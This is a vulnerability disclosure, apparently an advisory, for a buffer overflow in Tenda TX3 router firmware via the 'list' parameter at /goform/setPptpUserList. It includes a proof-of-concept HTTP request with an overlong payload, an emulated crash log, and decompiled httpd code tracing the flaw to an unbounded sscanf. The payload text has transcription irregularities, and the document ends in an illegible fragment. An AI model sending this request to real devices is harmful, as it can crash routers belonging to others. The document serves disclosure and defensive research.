

Vendor of the products: Tenda

Affected products: Tenda TX3 V16.03.13.11_multi

Hardware Link: <https://www.tendacn.com/tw/download/detail-4015.html>

Vulnerability Description

A buffer overflow vulnerability was discovered in Tenda TX3 V16.03.13.11_multi, triggered by the list parameter at /goform/setPptpUserList. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted packet.

POC

send

```
Request
Pretty Raw Hex
1 POST /goform/setPptpUserList HTTP/1.1
2 Host: 192.168.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
  Firefox/115.0
4 Accept: text/plain, */*; q=0.01
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 1021
10 Origin: http://192.168.0.1
11 Connection: close
12 Referer:
  http://192.168.0.1/pptp_server.html?random=0.7567922103203246&
13
14 list=
  aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaaanaaaooaaapaaaq
  aaaraaasaaataaaauaaavaaawaaaxaaayaaaazaabbaabcaabdaabeaabfaabgaabha
  abiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaa
  byaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaac
  paacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadg
  aadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaduaadvaadwa
  adxaadyaadzaeabaecaadaaeaaefaaegaaehaaeiaaejaaekaaelaaemaanenaa
  eoaapepaaeqaaeraaesaaetaaeuaaevaawaaexaaeyaaezaafbaafcaafdaafeaaf
  faafgaafhaafiaafjaafkaafllaafmaafnaafaoafpaafqaafraafsaafaaftaafuaafv
  aafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagma
  agnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaa
  heaahfaahgaahhaahiaahjaahkaahl aahmaahnaahoahpaahqaahraahsahtaah
  uaahvaahwaahxaahyaahzaaibaai caaiddaieaai faaigaaiahaaiaaiaaikaail
  aaimaainaiaoaaipaaipaaipaaipaaipaaipaaipaaipaaipaaipaaipaaipaaipaa
  ajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaaajqaajraajsaaj
  jtaajuaajvaajwaajxaajyaajaaa;12345;1;0;;;
```

You can see that the router has crashed.

```

func:cfms_mib_proc_handle, line:203 connect cfmd is error.
sscanf usr list from web err!
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
zsh: segmentation fault sudo chroot ./ ./qemu-arm-static ./bin/httpd

```

Code in httpd

The `formSetPPTPUserList` function calls the `set_pptpuser_list` function.

```

1 void __fastcall formSetPPTPUserList(webs_t wp, char_t *path, char_t *query)
2 {
3     int v4; // r0
4     cgi_msg v5; // r0
5     int v6; // r7
6     int v7; // r0
7     int all_users_same[16]; // [sp+8h] [bp-2760h] BYREF
8     unsigned __int8 param_str[256]; // [sp+48h] [bp-2720h] BYREF
9     unsigned __int8 pptp_users[512]; // [sp+148h] [bp-2620h] BYREF
10    unsigned __int8 all_pptp_username[16][64]; // [sp+348h] [bp-2420h] BYREF
11    unsigned __int8 before_pptp_users_value[8][512]; // [sp+748h] [bp-2020h] BYREF
12    unsigned __int8 new_pptp_users_value[8][512]; // [sp+1748h] [bp-1020h] BYREF
13
14    memset(all_pptp_username, 0, sizeof(all_pptp_username));
15    memset(before_pptp_users_value, 0, sizeof(before_pptp_users_value));
16    memset(new_pptp_users_value, 0, sizeof(new_pptp_users_value));
17    v4 = init_setpptpuser(before_pptp_users_value, all_pptp_username, pptp_users, 512);
18    v5 = set_pptpuser_list(wp, new_pptp_users_value, all_pptp_username, v4, pptp_users);
19    if ( v5 == CGI_ERROR
20        || (v6 = v5,
21            get_same_pptpuser(all_users_same, before_pptp_users_value, new_pptp_users_value, all_pptp_username),
22            change_pptpuser_name(all_users_same, all_pptp_username),
23            !CommitCfm(v7)) )
24    {
25        v6 = 1;
26    }
27    else
28    {
29        memset(param_str, 0, sizeof(param_str));
30        sprintf((char *)param_str, "op=%d", 3);
31        send_msg_to_netctrl(20, (int)param_str);
32        sprintf((char *)param_str, "advance_type=%d", 1);
33        send_msg_to_netctrl(5, (int)param_str);
34    }
35    websWrite(
36        wp,
37        (char_t *) "HTTP/1.1 200 OK\r\nContent-type: text/plain; charset=utf-8\r\nPragma: no-cache\r\nCache-Control: no-cache\r\n");
38    websWrite(wp, (char_t *) "{ \"errCode\": %d }", v6);
39    websDone(wp, 200);
40 }

```

In the `set_pptpuser_list` function, the `list` parameter is first retrieved and stored in `v7`. After parsing `v7`, the `getEachListFromWeb` function is called.

```

10 unsigned __int8 *v15; // r0
11 const char *v16; // r5
12 unsigned __int8 pptp_users_each[7][64]; // [sp+38h] [bp-3E8h] BYREF
13 unsigned __int8 value[512]; // [sp+1F8h] [bp-228h] BYREF
14
15    memset(value, 0, sizeof(value));
16    memset(pptp_users_each, 0, sizeof(pptp_users_each));
17    v7 = websGetVar(wp, (char_t *) "list", (char_t *) &byte_7A45B);
18    if ( !pptp_users )
19        return 1;
20    if ( *v7 )
21    {
22        v9 = (const char *) &v7[strspn((const char *) v7, "~")];
23        strncpy((char *) value, v9, 0x200u);
24        v10 = 0;
25        value[strcspn((const char *) value, "~")] = 0;
26        value[511] = 0;
27        v11 = strchr(v9, 126);
28        while ( value[0] )
29        {
30            memset(pptp_users_each, 0, sizeof(pptp_users_each));
31            getEachListFromWeb(value, pptp_users_each);
32            if ( (unsigned int) atoi((const char *) pptp_users_each[3]) > 1 )
33                return 1;
34            v12 = atoi((const char *) pptp_users_each[2]);
35            sprintf(
36                (char *) pptp_users,
37                "%d;%d;%s;%s;%s;%s;%s;%s",
38                v12,
39                v10,
40                pptp_users_each,
41                pptp_users_each[3],
42                pptp_users_each[1],

```

In the `getEachListFromWeb` function, the `_isoc99_sscanf` function is called to copy the parsed data into `each_list` without any length restriction, leading to a buffer overflow.

[illegible]